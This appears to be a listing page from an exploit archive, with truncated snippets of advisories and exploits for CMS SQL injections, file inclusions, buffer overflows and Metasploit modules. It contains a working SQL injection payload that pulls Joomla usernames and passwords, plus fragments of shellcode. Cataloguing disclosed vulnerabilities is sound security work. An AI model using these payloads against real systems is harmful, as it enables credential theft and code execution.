n-cms-equipe 1.1c.Debug - Multiple Local File Inclusions

source: https://www.securityfocus.com/bid/39298/info n-cms-equipe is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input. An attacker can exploit these vulnerabilities to obtain potentially sensitive information and execute arbitrary loca...

Symev CMS SQL Injection

Symev cms...

Easy~Ftp Server v1.7.0.2 (HTTP) Remote BOF Exploit

Exploit for unknown platform in category remote exploits ================================================== EasyFtp Server v1.7.0.2 HTTP Remote BOF Exploit ================================================== Exploit Title: EasyFtp Server v1.7.0.2 HTTP Remote BOF Exploit Author: ThE g0bL!N Software...

Alt-N WebAdmin - USER Buffer Overflow (Metasploit)

$Id: altnwebadmin.rb 8498 2010-02-15 00:48:03Z hdm $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/...

Joomla Gurujibook SQL Injection

/ Name : Joomla Component comgurujibook Vuln : SQL Injection vulnerability Author : Hamza 'MizoZ' N. Email : mizozxatgmaildotcom Greetz : Zuka , Grey Hat Hackers / SQLI HOST/PATH/index.php?option=comgurujibook&task=showPDF&bookid=-32+union+select+1,2,concatws0x3a,username,password,4+from+josusers...

kernel: qla2xxx NPIV vport management pseudofiles are world writable

A certain Red Hat configuration step for the qla2xxx driver in the Linux kernel 2.6.18 on Red Hat Enterprise Linux RHEL 5, when NPort ID Virtualization NPIV hardware is used, sets world-writable permissions for the 1 vportcreate and 2 vportdelete files under /sys/class/scsihost/, which allows loc...

PT-2010-1294 · Linux +1 · Linux Kernel +1

Name of the Vulnerable Software and Affected Versions: Red Hat Enterprise Linux RHEL 5 with Linux kernel 2.6.18 Description: The issue concerns a Red Hat configuration step for the qla2xxx driver in the Linux kernel when N Port ID Virtualization NPIV hardware is used. This configuration sets...

Alt-N SecurityGateway username Buffer Overflow

$Id: altnsecuritygateway.rb 8010 2009-12-28 20:38:50Z jduck $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use...

Alt-N SecurityGateway username Buffer Overflow

Alt-N SecurityGateway is prone to a buffer overflow condition. This is due to insufficient bounds checking on the "username" parameter. Successful exploitation could result in code execution with SYSTEM level privileges. NOTE: This service doesn't restart, you'll only get one shot. However, it...

SoftCab Sound Converter - 'sndConverter.ocx' ActiveX Insecure Method

Exploited By : ThE g0bL!N function Doit File = "Dz.exe" dz.SaveFormatFile SoftCab Sound Converter ActiveX sndConverter.ocx Insecure Method Exploit...

SoftCab Sound Converter ActiveX Insecure Method Exploit

Exploit for unknown platform in category web applications ========================================================================== SoftCab Sound Converter ActiveX Insecure Method Exploit sndConverter.ocx ========================================================================== Exploited By : T...

PlayMeNow .M3U Universal Buffer Overflow

Author: ThE g0bL!N Tested on: xp sp2,sp3 Grrets: His0k4 Alone : my $shellcode = "\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x38". "\x78\x73\x8a\x83\xeb\xfc\xe2\xf4\xc4\x90\x37\x8a\x38\x78\xf8\xcf". "\x04\xf3\x0f\x8f\x40\x79\x9c\x01\x77\x60\xf8\xd5\x18\x79\x98\xc3"...

PlayMeNow Malformed (M3U) Universal XP Seh BoF

Exploit for unknown platform in category local exploits ============================================== PlayMeNow Malformed M3U Universal XP Seh BoF ============================================== Title: PlayMeNow Malformed M3U Universal XP Seh BoF CVE-ID: OSVDB-ID: Author: ThE g0bL!N Published:...

PlayMeNow - .m3u Universal XP Buffer Overflow (SEH)

PlayMeNow - .m3u Universal XP Buffer Overflow SEH Author: ThE g0bL!N Tested on: xp sp2,sp3 Grrets: His0k4 Alone : my $shellcode = "\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x38". "\x78\x73\x8a\x83\xeb\xfc\xe2\xf4\xc4\x90\x37\x8a\x38\x78\xf8\xcf"...

V.H.S. Booking (hotel_habitaciones.php HotelID) Remote SQL Injection

Exploit for unknown platform in category web applications ================================================================================== V.H.S. Booking hotelhabitaciones.php HotelID Remote SQL Injection Vulnerability...

Texas Rankem(player.asp player_id) Remote SQL Injection Vulnerability

No description provided by source. ? ?????????????????????????In The Name Of Allah The Mercifull?????????????????????? ? Tybe:player.asp playerid bl!nd SQL Injection Vulnerability Vendor: www.clicktech.com Software:Texas Rankem author: R3d-D3v!L Date: 17.dec.2009 T!ME: 3:03 am ? Home: WwW.xP10.ME...

Eshopbuilde CMS SQL Injection

================= IUT-CERT ================= Title: Eshopbuilde CMS SQL Injection Vulnerability Vendor: www.eshopbuilder.ir Dork: Design by Satcom Co Type: Input.Validation.Vulnerability SQL Injection Fix: N/A ================== nsec.ir ================= Description: ------------------ Eshopbuild...

Check Point response to security advisory about password hashes in UTM-1 Edge/Edge N appliance

...

MDaemon 9.6.4 IMAPD FETCH Buffer Overflow

$Id$ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ require 'msf/core' class Metasploit3 'MDaemon 9.6....

MDaemon <= 6.8.5 WorldClient form2raw.cgi Stack Overflow

$Id$ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ require 'msf/core' class Metasploit3 'MDaemon %q...